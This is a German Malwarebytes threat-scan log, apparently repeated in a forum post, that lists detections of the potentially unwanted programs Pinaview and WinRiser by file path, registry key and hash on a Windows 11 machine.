Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)


(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe.config, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 3C5D9C69C66E2C42C6F80D9F0B29C638, 63D9B0F13E74131A18F60876405CB987A174C2993FAEAD18262A1F57D807F9C5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\SharpRaven.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C1A31AB7394444FD8AA2E8FE3C7C5094, 64B7231EDA298844697D38DD3539BD97FE995D88AE0C5E0C09D63A908F7336C4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.dat, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , F61BD5472A8702166D4A61C107395B4E, BF7AC766F45E1D1D74C3F666086E750989689E9AF97B565D1A676C3CA29D1922
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , C8AFAA7A183B033CDF007E1175DCF4B9, 3E91ED68E2E04F81498B2F29167A5B3531EB38D47BB7214EB676E7EBC4383100
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\unins000.msg, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 313D0CC5D1A64D2565E35937991775A6, 5ED0233C0922E9F20307315E24B4F33C3D56AB9F42B2F75AE91E7A27FD313B66
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Physischer Sektor: 0
(keine bösartigen Elemente erkannt)

WMI: 0
(keine bösartigen Elemente erkannt)

(end)
Code:
Malwarebytes
www.malwarebytes.com

-Protokolldetails-
Scan-Datum: 17.01.2025
Scan-Zeit: 20:33
Protokolldatei: e6f50878-d509-11ef-a964-f02f741c339e.json

-Softwaredaten-
Version: 5.2.4.157
Komponentenversion: 1.0.5116
Version des Aktualisierungspakets: 1.0.94594
Lizenz: Kostenlos

-Systemdaten-
Betriebssystem: Windows 11 (Build 26100.2894)
CPU: x64
Dateisystem: NTFS
Benutzer: Emil\

-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgebrochen
Gescannte Objekte: 144545
Erkannte Bedrohungen: 34
In die Quarantäne verschobene Bedrohungen: 0
Abgelaufene Zeit: 1 Min., 25 Sek.

-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung

-Scan-Details-
Prozess: 2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Modul: 4
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Pinaview.exe, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 5A44E9415F6DE60576BF5AEA79311DE6, E7BBF8D855FDAD70643E566C2A6B4CA35FEC1A90DE1D3771B08C7856EA3C71B7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER\WINRGR.EXE, Keine Aktion durch Benutzer, 7533, 1137251, 1.0.94594, , ame, , 02C9E9596624935DEFFC509123344A27, 82A27FACDD86F5F154DFE99E6FAC8284164CECAD5412468197AD97B6EC76B7E4

Registrierungsschlüssel: 4
PUP.Optional.WinRiser, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137250, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\BIT GUARDIAN\Win Riser, Keine Aktion durch Benutzer, 7533, 1137247, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{84397963-BE19-41C0-96B5-A99788C74F2A}_is1, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungswert: 2
PUP.Optional.WinRiser, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{70C25EA6-B217-4EDA-9F0C-46C581DE2C53}_IS1|DISPLAYNAME, Keine Aktion durch Benutzer, 7533, 1137248, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, HKU\S-1-5-21-3736346939-3236848792-3681124891-1001\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|Pinaview, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 7
PUP.Optional.WinRiser, C:\PROGRAM FILES\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137236, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\PROGRAMDATA\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.WinRiser, C:\USERS\WIGLA\APPDATA\ROAMING\BIT GUARDIAN\WIN RISER, Keine Aktion durch Benutzer, 7533, 1137237, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\PINAVIEW, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\USERS\WIGLA\APPDATA\LOCAL\PROGRAMS\PINAVIEW, whitelisted, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , ,

Datei: 16
PUP.Optional.WinRiser, C:\USERS\PUBLIC\DESKTOP\WIN RISER.LNK, Keine Aktion durch Benutzer, 7533, 1137238, 1.0.94594, , ame, , B12CB4018ACEDB054676001DD286FE5D, 64A0BF865A8CDF281ACCF3E638DE9F164733334654624C10C220F211640BC0B8
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Pinaview\Pinaview.lnk, Keine Aktion durch Benutzer, 8587, 1194907, 1.0.94594, , ame, , 412031CBBDC2364DCA8AEDE33CBB63C2, 8EE4EC0566A7EB37391756BAEC3152CDB6A6F2D81FBEA2083E8A92C58A45B586
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\device.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8A6DDB82B606B38A4913B6BA2B974627, FFE92BDDF946A05790138BAD813E004F85E7CCA1A7F99D7F0AF14EB6608385F5
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\countly\storedRequests.xml, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 8DF29D0CC796A27B98234E4B51714009, 3506C5576AF28BD30CC94EADC778032E034E08A2975390DC15D224C1D0A875CB
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\classic.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , A9E1CCEA36F050E5A96C20BEE369E470, 54A467C3847C86608DB814A0903480CDD6274542D6BC1FC870A5355593AB302F
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Modules\novel.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , B36548FD4D5C128065E7DE622E58349C, 91CAE6F4B4B3B5A1DBB30A9A5D62E428906C55A30E07A795153BE02F0F663FB9
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\AsyncBridge.Net35.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 35CBDBE6987B9951D3467DDA2F318F3C, E4915F18FD6713EE84F27A06ED1F6F555CDBEBE1522792CF4B4961664550CF83
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Countly.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 9B55E3B45422890DE9353BBF8D2C8AAE, 972937C36B832A09F37CE6386104235B77D4F2F076BC032E2DE70A1265705CB2
PUP.Optional.Pinaview, C:\Users\wigla\AppData\Local\Programs\Pinaview\Gh.Common.dll, Keine Aktion durch Benutzer, 8587, 1194908, 1.0.94594, , ame, , 94140FBEF9B808F45AFF16B861A4ED13, 83906CD627517E8CB3393618DEFE7D8BB28576C0C951309C4B99FEC122491308
